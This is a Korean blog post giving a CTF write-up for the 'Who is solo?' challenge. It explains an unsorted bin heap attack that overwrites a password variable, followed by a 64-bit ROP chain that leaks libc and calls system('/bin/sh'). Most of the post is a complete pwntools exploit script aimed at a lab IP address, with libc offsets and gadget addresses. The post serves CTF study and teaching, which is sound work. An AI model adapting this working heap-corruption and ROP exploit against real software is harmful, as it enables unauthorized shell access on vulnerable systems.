y0u_bat

Christmas - who is solo? 본문

CTF

Christmas - who is solo?

유뱃 2017. 1. 12. 15:34

Christmas CTF - Who is solo?


1. 보호기법


2. unsorted bin attack + 64bit ROP




이문제를 보면 정상적으로 password에 입력을 하지 못하는데, unsorted bin attack을 통하여 libc_main_aerna+88를 password에 write 해서, read(0,&v9,2000) 을 실행시켜, ROP를 진행 할 수 있게 된다.






malloc_ 함수에서는 원하는 사이즈만큼 할당 가능하고 해당 위치에 write 가능하다.

malloc(1,200)

malloc(2,200)

이렇게 2번 할당한다음, 1번 청크를 free 해주면, unsorted bin이라서 fd bk 위치에 libc_main_arena+88가 write 된다.

그다음 숨겨진 메뉴인 modify 을 통해서 free된 1번청크에 write 하여 bk를 password-16 주소로 덮고, 다시 malloc 하게 되면,

password에 libc_main_arena+88이 write 될것이다. 그래서 Login 메뉴를 사용 할 수 있게 된다.

Login 메뉴에서 보면, read(0,&v9,2000) 를 통해서 ROP 가능하다.

puts함수를 통해서 puts(password) 이런식으로 rop chain을 구성해서, libc_main_arena+88를 leak하여 libc_base를 구해서,

libc_system과 binsh 주소를 구해서 pop rdi + binsh + libc_system 이런식으로 rop chain 구성해서 shell를 획득 할수있다.

Exploit 코드를 보면, 2번째 rop때 "a"*0x408가 아닌 password*129 인것을 볼수있는데, 그 까닭은 "A"*0x408를 하고 나서

pop rdi로 rdi를 /bin/sh로 설정한다음, libc_system를 호출하면 do_system 안에 있는 execve를 호출할때, 요거처럼, RAX와 RDX가 "A"를 가르키기 때문에, 쉘이 안따진다.



Exploit.py

 
from pwn import *
s = remote("192.168.207.180",1122)
s2 = ELF("./solo")
puts_plt = s2.plt['puts']
read_plt = s2.plt['read']
pop_rdi = 0x4008a0
raw_input()
password = 0x602080
def malloc(num,size,data):
    s.sendline("1")
    print s.recvuntil("Allocate Chunk Number: ")
    s.sendline(str(num))
    print s.recvuntil("Input Size: ")
    s.sendline(str(size))
    print s.recvuntil("Input Data: ")
    s.sendline(str(data))
    print s.recvuntil("$ ")
    
def free(num):
    s.sendline("2")
    print s.recvuntil("Free Chunk number: ")
    s.sendline(str(num))
    print s.recvuntil("$ ")
def modify(data):
    s.sendline("201527")
    print s.recvuntil("Modify Data: ")
    s.send(str(data))
    print s.recvuntil("$ ")
def login(payload):
    s.sendline("4")
    print s.recvuntil("Input password: ")
    s.sendline(str(payload))
def leak():
    s.sendline("5")
    print s.recvuntil("$ ")
    leak = s.recv(6) + "\x00\x00"
    return u64(leak)
def exploit():
    payload = "A"*0x408 
    payload += p64(pop_rdi)
    payload += p64(password)
    payload += p64(puts_plt)
    payload += p64(0x40077A)
    login(payload)
    libc_main_arena = leak()-0x88
    libc_base = libc_main_arena - 0x3BE730
    libc_system = libc_base + 0x46590
    binsh = libc_base + 0x17C8C3
    log.info("libc_main_arena : " + hex(libc_main_arena))
    log.info("libc_base : " + hex(libc_base))
    log.info("libc_system : " + hex(libc_system))
    log.info("string binsh : " + hex(binsh))
    payload2 = p64(password)*129 # a*0x408  --> execve call  rax rdx -> "A"  
    payload2 += p64(pop_rdi)
    payload2 += p64(binsh)
    payload2 += p64(libc_system)
    s.sendline(payload2)
    print s.recvuntil("$ ")
    s.sendline("5")
print s.recvuntil("$ ")
malloc(1,200,"a"*199)
malloc(2,200,"b"*199)
free(1)
payload =  "a"*8 + p64(password-16)
payload += "a" * (200-len(payload))
payload += p64(0xd1)
payload += p64(0xd1)
modify(payload)
malloc(3,200,"")
exploit()
s.interactive()

'CTF' 카테고리의 다른 글

Bitsctf Command_Line - 20pt  (0) 2017.02.05
Plaid CTF - prodmanager  (0) 2017.01.13
.  (0) 2017.01.10
[Defcon 2014] Babyfirst heap  (0) 2017.01.09
[HolyShield] diary - 400pt  (0) 2017.01.08
Comments